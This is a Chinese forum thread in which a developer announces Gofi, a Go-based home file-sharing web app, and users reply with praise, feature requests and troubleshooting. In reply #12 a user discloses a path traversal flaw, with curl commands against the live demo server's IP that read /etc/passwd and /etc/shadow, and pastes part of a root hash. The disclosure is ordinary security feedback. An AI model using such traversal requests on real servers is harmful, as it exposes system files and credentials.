最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。
技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)
目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。
应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。
Github 地址:
https://github.com/Sloaix/Gofi
更新计划:
https://github.com/Sloaix/Gofi/projects
上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。
希望对大家有点小用。
1
Smash OP PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
|
2
Smash OP |
3
KasuganoSoras 2019-12-14 00:07:29 +08:00
界面好评,比隔壁某闭源网盘好看多了
|
4
wslwsl 2019-12-14 07:22:59 +08:00 via Android
好看,赞,最好手机端加个下载按钮就更方便了。
|
6
slwl 2019-12-14 08:02:17 +08:00 via iPhone
什么时候加个权限控制,感觉很好用哈
|
7
takemeh 2019-12-14 08:47:12 +08:00 3
|
12
rootooroot 2019-12-14 10:33:46 +08:00 1
任意文件下载 权限太高了 连 shadow 都可以读
http://129.226.186.76/api/download?path=../../../etc/passwd curl http://129.226.186.76/api/download\?path\=../../../../etc/issue Ubuntu 16.04.1 LTS \n \l curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf |
13
jngke931126 2019-12-14 10:49:25 +08:00
@takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。 以及 https 支持,这个部署到外网很有必要了。 同时非常好奇这些功能怎么到这么小体积的, 略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。 意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。 你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。 下载到的版本和演示版本外观不一样啊,还没有更新吗? 最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。 |
14
Smash OP @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
|
15
takemeh 2019-12-14 11:30:10 +08:00 1
@jngke931126
webd 这个体积实现这些功能是正常的,本来就是很简单的东西。 一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。 linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。 webd 只依赖内核和 C 运行库(glibc 或 musl) 你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。 |
16
richzhu 2019-12-14 11:46:51 +08:00
界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
|
17
xyok 2019-12-14 12:10:03 +08:00
挺不错的,logo 图标也是自己设计的吗
|
18
alexliux 2019-12-14 13:29:23 +08:00 via Android
star 学习一波
|
20
Smash OP @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。
|
21
yukiloh 2019-12-14 13:56:18 +08:00 via Android
卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓
|
22
FEDT 2019-12-14 14:17:11 +08:00 via iPhone
厉害👍🏻
|
23
Smash OP @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。
|
24
Smash OP @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。
|
25
crella 2019-12-14 16:33:45 +08:00
请问 windows 上怎么编译,要用 msys 吗?
|
26
Smash OP @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台
|
27
slwl 2019-12-14 17:16:03 +08:00
吃灰派用来干这个如何
|
29
Smash OP |
30
keepeye 2019-12-14 17:42:31 +08:00
我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的
|
31
crella 2019-12-14 17:51:28 +08:00 via Android
我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。
从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹? |
33
Smash OP @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1>
|
35
crella 2019-12-14 18:25:17 +08:00 via Android
是的,有 vmplayer 网卡和直升机跑道
|
37
crella 2019-12-14 19:34:56 +08:00 1
我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?
![gofi.jpg]( https://i.loli.net/2019/12/14/my1KIAqgsSYVwju.jpg) |
38
SteveAlan 2019-12-14 21:06:56 +08:00
界面是用的 ant design 吗?
|
39
Smash OP |
41
Hoshizora 2019-12-14 22:44:08 +08:00 via Android
0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了
|
44
Tink 2019-12-15 14:30:23 +08:00 via iPhone
开源好评
|
45
Smash OP @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe
|
46
Smash OP |
47
bijue 2019-12-16 07:30:46 +08:00 via Android
等待什么判决书?
|
48
Maboroshii 2019-12-16 11:16:47 +08:00
看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。
sqlite 用了 cgo,不方便交叉编译呀。 |
49
Smash OP @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。
|
51
vix 2019-12-17 12:30:46 +08:00 via Android
以前也是玩着实现了个,不过好久没维护了,惭愧。
|
53
caik13 2019-12-18 11:26:19 +08:00
感谢分享,找了好久 golang 这种的
|
54
tallest 2019-12-20 15:04:52 +08:00
<img width="419" alt="QQ20191220-145442@2x" src="https://user-images.githubusercontent.com/10476982/71236057-e841f980-2338-11ea-96c0-58da417ca30f.png">
|
55
lijixi 2019-12-27 16:05:33 +08:00
今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢?
|